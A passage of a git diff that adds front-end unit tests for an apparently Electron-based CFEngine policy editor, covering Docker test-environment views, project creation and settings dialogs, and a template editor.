+ file: './main.cf', + fileId: 'f1', + line: 4, + message: 'Could not install nginx' +}; + +// The module-level stores (the app store, test runs) start fresh per test. +async function setup({ dockerUp = true, withEnvironment = true, states = { h1: 'running', h2: 'running' } as Record } = {}) { + vi.resetModules(); + api = installApi({ + getMasterfilesVersions: vi.fn(async () => ({ latest: '3.27.0' })), + onTestEnvEvent: vi.fn((callback: (runId: string, event: TestEnvEvent) => void) => { + emit = event => act(() => callback('run-1', event)); + return () => {}; + }), + testEnvDoctor: vi.fn(async () => + dockerUp + ? { available: true, host: null, message: '', problem: null } + : { available: false, host: null, message: 'down', problem: 'not_running' as const } + ), + testEnvPlatforms: vi.fn(async () => ({ platforms: [] })), + testEnvStart: vi.fn(async () => 'run-1'), + testEnvStatus: vi.fn(async () => ({ + hosts: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state, container: `c-${id}`, ip: `10.0.0.${id.slice(1)}` }])) + })) + }); + ({ store } = await import('../store')); + const { projectCreated } = await import('../store/projectSlice'); + const slice = await import('../store/testEnvironmentsSlice'); + ({ TestResultsView: View } = await import('./TestResultsView')); + store.dispatch(projectCreated({ name: 'Demo', path: '/p' })); + if (withEnvironment) store.dispatch(slice.environmentAdded(environment)); + const onShowBlock = vi.fn(); + renderWithProviders(, { store }); + if (withEnvironment && dockerUp) await waitFor(() => expect(api.testEnvStatus).toHaveBeenCalled()); + return { onShowBlock }; +} + +const card = (name: string) => screen.getByText(name, { selector: 'p' }).closest('.MuiPaper-root')!; +const startCall = (index = 0) => vi.mocked(api.testEnvStart).mock.calls[index] as [string, TestEnvRequest]; +const logTabs = () => screen.getByRole('button', { name: 'All logs' }).parentElement!; +const logFilter = () => screen.getByPlaceholderText('Filter logs…'); + +async function deployAndRun() { + await waitFor(() => expect(screen.getByRole('button', { name: 'Deploy & run' })).toBeEnabled()); + fireEvent.click(screen.getByRole('button', { name: 'Deploy & run' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalled()); + await screen.findByRole('button', { name: 'Cancel' }); +} + +describe('TestResultsView', () => { + afterEach(uninstallApi); + + it('offers to create a test environment', async () => { + await setup({ withEnvironment: false }); + expect(screen.getByText(/^Run this project.s policy on Docker containers/)).toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Create test environment' })); + expect(store.getState().testEnvironments).toHaveLength(1); + expect(await screen.findByText('Topology nodes')).toBeInTheDocument(); + }); + + it('shows a card per host, the hub first, with its state', async () => { + await setup({ states: { h1: 'running', h2: 'exited' } }); + expect(screen.getByText('2 hosts')).toBeInTheDocument(); + await waitFor(() => expect(within(card('hub')).getByText('Ready')).toBeInTheDocument()); + expect(within(card('hub')).getByText('HUB')).toBeInTheDocument(); + expect(within(card('web')).getByText('Stopped')).toBeInTheDocument(); + expect(within(card('web')).getByText('localhost:8080')).toBeInTheDocument(); + }); + + it('runs Deploy & run on every host', async () => { + await setup(); + await deployAndRun(); + const [action, request] = startCall(); + expect(action).toBe('test'); + expect(request.environment.id).toBe('env'); + expect(request.hosts).toBeUndefined(); + expect(request.masterfiles).toBe('3.27.0'); + expect(screen.getByText('Deploying & running…')).toBeInTheDocument(); + }); + + it('cancels the running action', async () => { + await setup(); + await deployAndRun(); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(api.cancelTestEnvRun).toHaveBeenCalledWith('run-1'); + }); + + it('stops all hosts', async () => { + await setup(); + await waitFor(() => expect(screen.getByRole('button', { name: 'Stop' })).toBeEnabled()); + fireEvent.click(screen.getByRole('button', { name: 'Stop' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalled()); + expect(startCall()[0]).toBe('stop'); + expect(startCall()[1].hosts).toBeUndefined(); + }); + + it('runs a host card action on that host only', async () => { + await setup({ states: { h1: 'running', h2: 'exited' } }); + await waitFor(() => expect(within(card('web')).getByRole('button', { name: 'Start the container' })).toBeEnabled()); + fireEvent.click(within(card('web')).getByRole('button', { name: 'Start the container' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalledTimes(1)); + expect(startCall(0)[0]).toBe('start'); + expect(startCall(0)[1].hosts).toEqual(['h2']); + emit({ t: 'exit', ok: true }); + + await waitFor(() => expect(within(card('hub')).getByRole('button', { name: 'Deploy & run on this host' })).toBeEnabled()); + fireEvent.click(within(card('hub')).getByRole('button', { name: 'Deploy & run on this host' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalledTimes(2)); + expect(startCall(1)).toEqual(['run', expect.objectContaining({ hosts: ['h1'] })]); + }); + + it('stops and recreates one host', async () => { + await setup(); + const hub = () => card('hub'); + await waitFor(() => expect(within(hub()).getByRole('button', { name: 'Stop the container (keeps what is installed)' })).toBeEnabled()); + fireEvent.click(within(hub()).getByRole('button', { name: 'Stop the container (keeps what is installed)' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalledTimes(1)); + expect(startCall(0)).toEqual(['stop', expect.objectContaining({ hosts: ['h1'] })]); + emit({ t: 'exit', ok: true }); + + const recreate = /^Recreate/; + await waitFor(() => expect(within(hub()).getByRole('button', { name: recreate })).toBeEnabled()); + fireEvent.click(within(hub()).getByRole('button', { name: recreate })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalledTimes(2)); + expect(startCall(1)).toEqual(['reset', expect.objectContaining({ hosts: ['h1'] })]); + }); + + it('sets up a host that has no container', async () => { + await setup({ states: { h1: 'running' } }); + const setUp = within(card('web')).getByRole('button', { name: /^Set up this host/ }); + await waitFor(() => expect(setUp).toBeEnabled()); + expect(within(card('web')).getByText('Not set up')).toBeInTheDocument(); + fireEvent.click(setUp); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalled()); + expect(startCall()).toEqual(['test', expect.objectContaining({ hosts: ['h2'] })]); + }); + + it('updates host states, steps and compliance from streamed events', async () => { + await setup(); + await deployAndRun(); + emit({ t: 'host', host: 'h2', state: 'provisioning' }); + emit({ t: 'step', host: 'h2', step: 'bootstrap', message: 'Bootstrapping to hub' }); + expect(within(card('web')).getByText('Setting up')).toBeInTheDocument(); + expect(within(card('web')).getByText('Bootstrapping to hub', { selector: 'p' })).toBeInTheDocument(); + + emit({ t: 'result', host: 'h2', exit: 0, run: 1, kept: 90, repaired: 10, notKept: 0 }); + emit({ t: 'host', host: 'h2', state: 'done', converged: true }); + expect(within(card('web')).getByText('Converged')).toBeInTheDocument(); + expect(within(card('web')).getByText('90% kept · 10% repaired · 0% not kept')).toBeInTheDocument(); + + emit({ t: 'host', host: 'h1', state: 'failed' }); + expect(within(card('hub')).getByText('Failed')).toBeInTheDocument(); + }); + + it('summarises the last run', async () => { + await setup(); + await deployAndRun(); + emit({ t: 'result', host: 'h1', exit: 0, run: 1, kept: 100, repaired: 0, notKept: 0 }); + emit({ t: 'host', host: 'h1', state: 'done', converged: true }); + emit({ t: 'exit', ok: true }); + expect(await screen.findByText('Last run: converged · 1 host')).toBeInTheDocument(); + }); + + it('shows an action failing to start', async () => { + await setup(); + vi.mocked(api.testEnvStart).mockRejectedValueOnce(new Error('Docker is not running')); + await waitFor(() => expect(screen.getByRole('button', { name: 'Deploy & run' })).toBeEnabled()); + fireEvent.click(screen.getByRole('button', { name: 'Deploy & run' })); + expect(await screen.findAllByText('Docker is not running')).toHaveLength(2); + }); + + it('streams the log and filters it by host and text', async () => { + await setup(); + expect(screen.getByText(/^Nothing yet/)).toBeInTheDocument(); + await deployAndRun(); + emit({ t: 'log', host: 'h1', line: 'R: hub says hi', stream: 'agent' }); + emit({ t: 'log', host: 'h2', line: 'R: web says hi', stream: 'agent' }); + expect(screen.getByText('── Deploy & run ──')).toBeInTheDocument(); + expect(screen.getByText('hub says hi')).toBeInTheDocument(); + expect(screen.getByText('web says hi')).toBeInTheDocument(); + + fireEvent.click(within(logTabs()).getByRole('button', { name: 'web' })); + expect(screen.queryByText('hub says hi')).not.toBeInTheDocument(); + expect(screen.getByText('web says hi')).toBeInTheDocument(); + + fireEvent.click(screen.getByRole('button', { name: 'All logs' })); + fireEvent.change(logFilter(), { target: { value: 'HUB SAYS' } }); + expect(screen.getByText('hub says hi')).toBeInTheDocument(); + expect(screen.queryByText('web says hi')).not.toBeInTheDocument(); + }); + + it('folds container setup output into one row', async () => { + await setup(); + await deployAndRun(); + emit({ t: 'log', host: 'h1', line: 'apt-get install' }); + emit({ t: 'log', host: 'h1', line: 'unpacking' }); + expect(screen.queryByText('unpacking')).not.toBeInTheDocument(); + fireEvent.click(screen.getByText('Container setup — 2 lines')); + expect(screen.getByText('unpacking')).toBeInTheDocument(); + }); + + it('clears the log', async () => { + await setup(); + await deployAndRun(); + fireEvent.click(screen.getByRole('button', { name: 'Clear the log' })); + expect(screen.queryByText('── Deploy & run ──')).not.toBeInTheDocument(); + }); + + it('lists problems: Show block calls back, Show in log filters the log', async () => { + const { onShowBlock } = await setup(); + await deployAndRun(); + emit({ t: 'log', host: 'h1', line: 'error: Could not install nginx', stream: 'agent' }); + emit({ t: 'log', host: 'h2', line: 'R: unrelated', stream: 'agent' }); + emit({ t: 'problems', host: 'h1', problems: [problem] }); + expect(screen.getByText('1 problem in the last run')).toBeInTheDocument(); + expect(screen.getByText('Bundle main')).toBeInTheDocument(); + + fireEvent.click(screen.getByRole('button', { name: 'Show block' })); + expect(onShowBlock).toHaveBeenCalledWith('f1', 'b1'); + + fireEvent.click(screen.getByRole('button', { name: 'Show in log' })); + expect(logFilter()).toHaveValue('Could not install nginx'); + expect(screen.queryByText('unrelated')).not.toBeInTheDocument(); + }); + + it('resets the log filter when a new action starts', async () => { + await setup(); + await waitFor(() => expect(screen.getByRole('button', { name: 'Stop' })).toBeEnabled()); + fireEvent.change(logFilter(), { target: { value: 'something' } }); + fireEvent.click(screen.getByRole('button', { name: 'Stop' })); + await waitFor(() => expect(logFilter()).toHaveValue('')); + }); + + it('says when Docker is not running, and checks again on Retry', async () => { + await setup({ dockerUp: false }); + expect(await screen.findByText('Docker isn’t running')).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Deploy & run' })).toBeDisabled(); + fireEvent.click(screen.getByRole('button', { name: 'Retry' })); + await waitFor(() => expect(api.testEnvDoctor).toHaveBeenCalledTimes(2)); + }); +}); diff --git a/src/renderer/src/components/TopBar.test.tsx b/src/renderer/src/components/TopBar.test.tsx new file mode 100644 index 0000000..f31bf6b --- /dev/null +++ b/src/renderer/src/components/TopBar.test.tsx @@ -0,0 +1,78 @@ +import type { ComponentProps } from 'react'; + +import { fireEvent, screen, within } from '@testing-library/react'; + +import { renderWithProviders } from '../test/render'; +import { PROJECT_TABS, TopBar } from './TopBar'; + +type Props = ComponentProps; + +function renderTopBar(overrides: Partial = {}) { + const props: Props = { + activeTab: 0, + blockCount: 3, + bundle: 'main', + dirty: false, + masterfiles: null, + onOpenSettings: vi.fn(), + onSave: vi.fn(), + onTabChange: vi.fn(), + projectName: 'Web servers', + savedToDisk: true, + type: 'policy-set', + ...overrides + }; + renderWithProviders(); + return props; +} + +describe('TopBar', () => { + it('shows every view as a tab, named by its full title', () => { + renderTopBar(); + const tablist = screen.getByRole('tablist', { name: 'Project views' }); + const tabs = within(tablist).getAllByRole('tab'); + expect(tabs.map(tab => tab.getAttribute('aria-label'))).toEqual([...PROJECT_TABS]); + }); + + it('marks only the active view as selected', () => { + renderTopBar({ activeTab: 2 }); + expect(screen.getByRole('tab', { name: 'Test Results & Logs' })).toHaveAttribute('aria-selected', 'true'); + for (const name of ['Canvas', 'Generated Policy (.cf)', 'Deployment']) { + expect(screen.getByRole('tab', { name })).toHaveAttribute('aria-selected', 'false'); + } + }); + + it('calls back with the clicked view index', () => { + const { onTabChange } = renderTopBar(); + fireEvent.click(screen.getByRole('tab', { name: 'Deployment' })); + expect(onTabChange).toHaveBeenCalledWith(3); + }); + + it('shows a tab badge after its name', () => { + renderTopBar({ tabBadges: { 2: running } }); + expect(within(screen.getByRole('tab', { name: 'Test Results & Logs' })).getByText('running')).toBeInTheDocument(); + }); + + it('disables Save when a saved project has no changes', () => { + renderTopBar(); + expect(screen.getByRole('button', { name: 'Save' })).toBeDisabled(); + }); + + it('saves a dirty project and marks it unsaved', () => { + const { onSave } = renderTopBar({ dirty: true }); + expect(screen.getByLabelText('Unsaved changes')).toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onSave).toHaveBeenCalledTimes(1); + }); + + it('offers Save As for a project not on disk', () => { + renderTopBar({ savedToDisk: false }); + expect(screen.getByRole('button', { name: 'Save As…' })).toBeEnabled(); + }); + + it('opens the project settings', () => { + const { onOpenSettings } = renderTopBar(); + fireEvent.click(screen.getByRole('button', { name: 'Project settings' })); + expect(onOpenSettings).toHaveBeenCalled(); + }); +}); diff --git a/src/renderer/src/components/dialogs/NewProjectDialog.test.tsx b/src/renderer/src/components/dialogs/NewProjectDialog.test.tsx new file mode 100644 index 0000000..6e94363 --- /dev/null +++ b/src/renderer/src/components/dialogs/NewProjectDialog.test.tsx @@ -0,0 +1,198 @@ +import { fireEvent, screen, waitFor } from '@testing-library/react'; + +import { installApi, renderWithProviders, uninstallApi } from '../../test/render'; +import { DEFAULT_DESCRIPTION, NewProjectDialog, type ProjectFormValues, type SubmitResult } from './NewProjectDialog'; + +type Api = NonNullable; +type TargetCheck = Awaited>; + +const FREE: TargetCheck = { parentWritable: true, targetState: 'new' }; + +function setup({ mode = 'new', ...props }: { initialName?: string; mode?: 'new' | 'saveAs' } = {}) { + const onClose = vi.fn(); + const onSubmit = vi.fn(async (_values: ProjectFormValues): Promise => ({ ok: true })); + renderWithProviders(); + return { onClose, onSubmit }; +} + +const nameField = () => screen.getByRole('textbox', { name: /Project name/ }); +const createButton = () => screen.getByRole('button', { name: 'Create' }); +const typeName = (name: string) => fireEvent.change(nameField(), { target: { value: name } }); + +describe('NewProjectDialog without the Electron bridge', () => { + it('creates an in-memory project from name and description', async () => { + const { onSubmit } = setup(); + expect(screen.queryByRole('textbox', { name: 'Location' })).not.toBeInTheDocument(); + expect(screen.getByRole('textbox', { name: /Description/ })).toHaveValue(DEFAULT_DESCRIPTION); + expect(createButton()).toBeDisabled(); + + typeName(' My Web Server '); + fireEvent.click(createButton()); + await waitFor(() => expect(onSubmit).toHaveBeenCalledTimes(1)); + expect(onSubmit).toHaveBeenCalledWith({ + name: 'My Web Server', + description: DEFAULT_DESCRIPTION, + parent: null, + folderName: 'my-web-server', + masterfiles: '3.27.1', + git: true, + type: 'policy-set' + }); + }); + + it('rejects a name without letters or digits', () => { + setup(); + typeName('!!!'); + expect(screen.getByText('Use at least one letter or digit.')).toBeInTheDocument(); + expect(createButton()).toBeDisabled(); + }); + + it('needs a description', () => { + setup({ initialName: 'web' }); + expect(createButton()).toBeEnabled(); + fireEvent.change(screen.getByRole('textbox', { name: /Description/ }), { target: { value: ' ' } }); + expect(createButton()).toBeDisabled(); + }); + + it('cancels', () => { + const { onClose, onSubmit } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(onClose).toHaveBeenCalledTimes(1); + expect(onSubmit).not.toHaveBeenCalled(); + }); + + it('serves Save As', () => { + setup({ mode: 'saveAs', initialName: 'Demo' }); + expect(screen.getByRole('heading', { name: 'Save Project As' })).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Save' })).toBeEnabled(); + expect(screen.queryByText(/can’t be changed later/)).not.toBeInTheDocument(); + }); +}); + +describe('NewProjectDialog with the Electron bridge', () => { + let api: Api; + let check: TargetCheck; + beforeEach(() => { + check = FREE; + api = installApi({ + getDefaultProjectParent: vi.fn(async () => '/home/me/Projects'), + getMasterfilesVersions: vi.fn(async () => ({ latest: '3.27.2' })), + checkProjectTarget: vi.fn(async () => check), + pickDirectory: vi.fn(async () => '/srv/policy') + }); + }); + afterEach(uninstallApi); + + it('shows the default location, the latest version and the target path', async () => { + setup(); + expect(screen.getByText(/can’t be changed later/)).toBeInTheDocument(); + await waitFor(() => expect(screen.getByRole('textbox', { name: 'Location' })).toHaveValue('/home/me/Projects')); + expect(await screen.findByRole('radio', { name: 'Latest (3.27.2)' })).toBeChecked(); + expect(screen.getByRole('checkbox', { name: 'Initialize a git repository' })).toBeChecked(); + + typeName('Web Server'); + expect(await screen.findByText('Will be created at: /home/me/Projects/web-server')).toBeInTheDocument(); + await waitFor(() => expect(api.checkProjectTarget).toHaveBeenCalledWith('/home/me/Projects', 'web-server')); + await waitFor(() => expect(createButton()).toBeEnabled()); + }); + + it('picks another location', async () => { + setup({ initialName: 'web' }); + await waitFor(() => expect(screen.getByRole('textbox', { name: 'Location' })).toHaveValue('/home/me/Projects')); + fireEvent.click(screen.getByRole('button', { name: 'Choose…' })); + expect(api.pickDirectory).toHaveBeenCalledWith('/home/me/Projects'); + await waitFor(() => expect(screen.getByRole('textbox', { name: 'Location' })).toHaveValue('/srv/policy')); + expect(screen.getByText('Will be created at: /srv/policy/web')).toBeInTheDocument(); + }); + + it('keeps the location when the picker is cancelled', async () => { + vi.mocked(api.pickDirectory).mockResolvedValue(null); + setup(); + await waitFor(() => expect(screen.getByRole('textbox', { name: 'Location' })).toHaveValue('/home/me/Projects')); + fireEvent.click(screen.getByRole('button', { name: 'Choose…' })); + await waitFor(() => expect(api.pickDirectory).toHaveBeenCalled()); + expect(screen.getByRole('textbox', { name: 'Location' })).toHaveValue('/home/me/Projects'); + }); + + it('refuses a folder that exists and is not empty', async () => { + check = { parentWritable: true, targetState: 'nonEmpty' }; + setup({ initialName: 'web' }); + expect(await screen.findByText(/^A folder named .web. already exists and isn’t empty\.$/)).toBeInTheDocument(); + expect(createButton()).toBeDisabled(); + }); + + it('refuses a location it cannot write to', async () => { + check = { parentWritable: false, targetState: 'new' }; + setup({ initialName: 'web' }); + expect(await screen.findByText('Can’t create a folder here — choose another location.')).toBeInTheDocument(); + expect(createButton()).toBeDisabled(); + }); + + it('stays disabled until the target is checked', async () => { + setup({ initialName: 'web' }); + expect(createButton()).toBeDisabled(); + await waitFor(() => expect(createButton()).toBeEnabled()); + }); + + it('submits master branch masterfiles without git', async () => { + const { onSubmit } = setup({ initialName: 'web' }); + fireEvent.click(await screen.findByRole('radio', { name: 'Master branch' })); + fireEvent.click(screen.getByRole('checkbox', { name: 'Initialize a git repository' })); + await waitFor(() => expect(createButton()).toBeEnabled()); + fireEvent.click(createButton()); + await waitFor(() => expect(onSubmit).toHaveBeenCalled()); + expect(onSubmit.mock.calls[0][0]).toEqual({ + name: 'web', + description: DEFAULT_DESCRIPTION, + parent: '/home/me/Projects', + folderName: 'web', + masterfiles: 'master', + git: false, + type: 'policy-set' + }); + }); + + it('submits a module without masterfiles', async () => { + const { onSubmit } = setup({ initialName: 'web' }); + await screen.findByRole('radio', { name: 'Latest (3.27.2)' }); + fireEvent.click(screen.getByRole('radio', { name: /^Module/ })); + // The masterfiles choice is hidden, not removed. + expect(screen.queryByRole('radio', { name: 'Master branch' })).not.toBeInTheDocument(); + await waitFor(() => expect(createButton()).toBeEnabled()); + fireEvent.click(createButton()); + await waitFor(() => expect(onSubmit).toHaveBeenCalled()); + expect(onSubmit.mock.calls[0][0]).toMatchObject({ type: 'module', masterfiles: 'no' }); + }); + + it('shows progress while creating', async () => { + const { onSubmit } = setup({ initialName: 'web' }); + onSubmit.mockReturnValue(new Promise(() => {})); + await screen.findByRole('radio', { name: 'Latest (3.27.2)' }); + await waitFor(() => expect(createButton()).toBeEnabled()); + fireEvent.click(createButton()); + expect(await screen.findByText('Downloading masterfiles 3.27.2…')).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Creating…' })).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Cancel' })).toBeDisabled(); + }); + + it('shows a failure with its details and allows retrying', async () => { + const { onSubmit } = setup({ initialName: 'web' }); + onSubmit.mockResolvedValue({ ok: false, message: 'cfbs init failed', details: 'git: not found' }); + await waitFor(() => expect(createButton()).toBeEnabled()); + fireEvent.click(createButton()); + expect(await screen.findByText('cfbs init failed')).toBeInTheDocument(); + expect(screen.getByText('git: not found')).not.toBeVisible(); + fireEvent.click(screen.getByRole('button', { name: 'Details' })); + await waitFor(() => expect(screen.getByText('git: not found')).toBeVisible()); + expect(createButton()).toBeEnabled(); + }); + + it('shows a thrown error', async () => { + const { onSubmit } = setup({ initialName: 'web' }); + onSubmit.mockRejectedValue(new Error('boom')); + await waitFor(() => expect(createButton()).toBeEnabled()); + fireEvent.click(createButton()); + expect(await screen.findByText('boom')).toBeInTheDocument(); + expect(screen.queryByRole('button', { name: 'Details' })).not.toBeInTheDocument(); + }); +}); diff --git a/src/renderer/src/components/dialogs/ProjectSettingsDialog.test.tsx b/src/renderer/src/components/dialogs/ProjectSettingsDialog.test.tsx new file mode 100644 index 0000000..fb04f7c --- /dev/null +++ b/src/renderer/src/components/dialogs/ProjectSettingsDialog.test.tsx @@ -0,0 +1,93 @@ +import { fireEvent, screen, waitFor } from '@testing-library/react'; + +import type { Project, ProjectType } from '../../store/projectSlice/types'; +import { renderWithProviders } from '../../test/render'; +import { ProjectSettingsDialog } from './ProjectSettingsDialog'; + +const PROJECT: Project = { + id: 'p1', + name: 'Web', + description: 'Web servers', + moduleName: 'web', + path: '/home/me/web', + masterfiles: '3.27.1', + type: 'policy-set' +}; + +function setup(project: Partial = {}, result = true) { + const onClose = vi.fn(); + const onTypeChange = vi.fn(async (_type: ProjectType, _masterfiles: string | null) => result); + renderWithProviders(); + return { onClose, onTypeChange }; +} + +describe('ProjectSettingsDialog', () => { + it('closes without saving when nothing changed', () => { + const { onClose, onTypeChange } = setup(); + expect(screen.getByRole('radio', { name: /^Policy set/ })).toBeChecked(); + fireEvent.click(screen.getByRole('button', { name: 'Done' })); + expect(onClose).toHaveBeenCalledTimes(1); + expect(onTypeChange).not.toHaveBeenCalled(); + }); + + it('converts a saved policy set to a module', async () => { + const { onClose, onTypeChange } = setup(); + fireEvent.click(screen.getByRole('radio', { name: /^Module/ })); + expect(screen.getByText(/Saves the project as a module/)).toBeInTheDocument(); + expect(screen.queryByRole('radio', { name: /Latest/ })).not.toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onTypeChange).toHaveBeenCalledWith('module', null); + await waitFor(() => expect(onClose).toHaveBeenCalled()); + }); + + it('asks a module without masterfiles which version to use', async () => { + const { onTypeChange } = setup({ type: 'module', masterfiles: null }); + expect(screen.queryByRole('radio', { name: /Latest/ })).not.toBeInTheDocument(); + fireEvent.click(screen.getByRole('radio', { name: /^Policy set/ })); + expect(screen.getByText(/Saves the project as a policy set/)).toBeInTheDocument(); + expect(screen.getByRole('radio', { name: 'Latest (3.27.2)' })).toBeChecked(); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onTypeChange).toHaveBeenCalledWith('policy-set', '3.27.2'); + }); + + it('can pick the master branch', () => { + const { onTypeChange } = setup({ type: 'module', masterfiles: null }); + fireEvent.click(screen.getByRole('radio', { name: /^Policy set/ })); + fireEvent.click(screen.getByRole('radio', { name: 'Master branch' })); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onTypeChange).toHaveBeenCalledWith('policy-set', 'master'); + }); + + it('keeps the masterfiles a module already has', () => { + const { onTypeChange } = setup({ type: 'module', masterfiles: '3.27.1' }); + fireEvent.click(screen.getByRole('radio', { name: /^Policy set/ })); + expect(screen.queryByRole('radio', { name: /Latest/ })).not.toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onTypeChange).toHaveBeenCalledWith('policy-set', null); + }); + + it('stays open when saving fails', async () => { + const { onClose, onTypeChange } = setup({}, false); + fireEvent.click(screen.getByRole('radio', { name: /^Module/ })); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + await waitFor(() => expect(onTypeChange).toHaveBeenCalled()); + await waitFor(() => expect(screen.getByRole('button', { name: 'Save' })).toBeEnabled()); + expect(onClose).not.toHaveBeenCalled(); + }); + + it('changes an unsaved project without a Save button', () => { + const { onTypeChange } = setup({ path: null }); + fireEvent.click(screen.getByRole('radio', { name: /^Module/ })); + expect(screen.queryByRole('alert')).not.toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Done' })); + expect(onTypeChange).toHaveBeenCalledWith('module', null); + }); + + it('cancels', () => { + const { onClose, onTypeChange } = setup(); + fireEvent.click(screen.getByRole('radio', { name: /^Module/ })); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(onClose).toHaveBeenCalledTimes(1); + expect(onTypeChange).not.toHaveBeenCalled(); + }); +}); diff --git a/src/renderer/src/components/dialogs/TemplateEditorDialog.test.tsx b/src/renderer/src/components/dialogs/TemplateEditorDialog.test.tsx new file mode 100644 index 0000000..948ec83 --- /dev/null +++ b/src/renderer/src/components/dialogs/TemplateEditorDialog.test.tsx @@ -0,0 +1,128 @@ +import { fireEvent, screen, waitFor } from '@testing-library/react'; + +import { installApi, renderWithProviders, uninstallApi } from '../../test/render'; +import type { TemplateToken } from '../editor/templateTokens'; +import { TemplateEditorDialog } from './TemplateEditorDialog'; + +const TOKENS: TemplateToken[] = [ + { kind: 'variable', name: 'pkg_name', label: 'Package' }, + { kind: 'variable', name: 'listen_port', label: 'Port', mustachePath: 'vars.web:main.listen_port' }, + { kind: 'class', name: 'is_debian', label: 'Debian hosts', group: 'Classes' } +]; + +function setup(props: { help?: string; mustache?: boolean; value?: string; variables?: TemplateToken[] } = {}) { + const onClose = vi.fn(); + const onSave = vi.fn(); + const view = renderWithProviders( + + ); + return { onClose, onSave, view }; +} + +const editorText = () => document.querySelector('.cm-content')?.textContent; +const chip = (name: string) => screen.getByRole('button', { name: new RegExp(name) }); + +describe('TemplateEditorDialog', () => { + afterEach(uninstallApi); + + it('edits CFEngine text with variables only', () => { + setup({ help: 'Mustache help' }); + expect(screen.getByRole('heading', { name: 'Command' })).toBeInTheDocument(); + expect(screen.queryByText('Mustache help')).not.toBeInTheDocument(); + expect(editorText()).toBe('echo '); + expect(chip('pkg_name')).toBeInTheDocument(); + expect(screen.queryByRole('button', { name: /is_debian/ })).not.toBeInTheDocument(); + }); + + it('inserts a variable as $(name) and saves', async () => { + const { onClose, onSave } = setup(); + await waitFor(() => { + fireEvent.click(chip('pkg_name')); + expect(editorText()).toContain('$(pkg_name)'); + }); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onSave).toHaveBeenCalledWith('$(pkg_name)echo '); + expect(onClose).toHaveBeenCalled(); + }); + + it('inserts Mustache variables and class sections', async () => { + const { onSave } = setup({ mustache: true, value: '', help: 'Mustache help' }); + expect(screen.getByText('Mustache help')).toBeInTheDocument(); + await waitFor(() => { + fireEvent.click(chip('listen_port')); + expect(editorText()).toBe('{{{vars.web:main.listen_port}}}'); + }); + fireEvent.click(chip('is_debian')); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onSave).toHaveBeenCalledWith('{{{vars.web:main.listen_port}}}{{#is_debian}}{{/is_debian}}'); + }); + + it('filters tokens by name or label', () => { + setup({ mustache: true }); + fireEvent.change(screen.getByPlaceholderText('Filter…'), { target: { value: 'debian' } }); + expect(chip('is_debian')).toBeInTheDocument(); + expect(screen.queryByRole('button', { name: /pkg_name/ })).not.toBeInTheDocument(); + fireEvent.change(screen.getByPlaceholderText('Filter…'), { target: { value: 'package' } }); + expect(chip('pkg_name')).toBeInTheDocument(); + }); + + it('collapses long groups until filtered', () => { + const many = Array.from({ length: 13 }, (_, index): TemplateToken => ({ kind: 'variable', name: `sys_var_${index}`, group: 'Special' })); + setup({ variables: many }); + const header = screen.getByRole('button', { name: 'Special (13)' }); + expect(header).toHaveAttribute('aria-expanded', 'false'); + expect(screen.queryByRole('button', { name: /sys_var_0/ })).not.toBeInTheDocument(); + fireEvent.click(header); + expect(chip('sys_var_0')).toBeInTheDocument(); + fireEvent.click(header); + fireEvent.change(screen.getByPlaceholderText('Filter…'), { target: { value: 'var_1' } }); + expect(screen.getByRole('button', { name: 'Special (4)' })).toHaveAttribute('aria-expanded', 'true'); + }); + + it('imports a file into the editor', async () => { + const api = installApi({ importTextFile: vi.fn(async () => ({ content: 'imported text', fileName: 'a.txt' })) }); + const { onSave } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Import from file' })); + await waitFor(() => expect(editorText()).toBe('imported text')); + expect(api.importTextFile).toHaveBeenCalled(); + fireEvent.click(screen.getByRole('button', { name: 'Save' })); + expect(onSave).toHaveBeenCalledWith('imported text'); + }); + + it('shows an import error', async () => { + installApi({ importTextFile: vi.fn(async () => Promise.reject(new Error('Not a text file'))) }); + setup(); + fireEvent.click(screen.getByRole('button', { name: 'Import from file' })); + expect(await screen.findByText('Not a text file')).toBeInTheDocument(); + expect(editorText()).toBe('echo '); + }); + + it('cancels without saving', () => { + const { onClose, onSave } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(onClose).toHaveBeenCalled(); + expect(onSave).not.toHaveBeenCalled(); + }); + + it('closes on Escape only without edits', async () => { + const { onClose } = setup(); + fireEvent.keyDown(screen.getByRole('dialog'), { key: 'Escape' }); + expect(onClose).toHaveBeenCalledTimes(1); + + await waitFor(() => { + fireEvent.click(chip('pkg_name')); + expect(editorText()).toContain('$(pkg_name)'); + }); + fireEvent.keyDown(screen.getByRole('dialog'), { key: 'Escape' }); + expect(onClose).toHaveBeenCalledTimes(1); + }); +}); diff --git a/src/renderer/src/components/properties/FileSettingsPanel.test.tsx b/src/renderer/src/components/properties/FileSettingsPanel.test.tsx new file mode 100644 index 0000000..c9b4640 --- /dev/null +++ b/src/renderer/src/components/properties/FileSettingsPanel.test.tsx @@ -0,0 +1,135 @@ +import { fireEvent, screen, within } from '@testing-library/react'; + +import { newDefinitionEntry } from '../../blocks/definitionEntries'; +import { blockDescriptorsById } from '../../blocks/loadBlocks'; +import 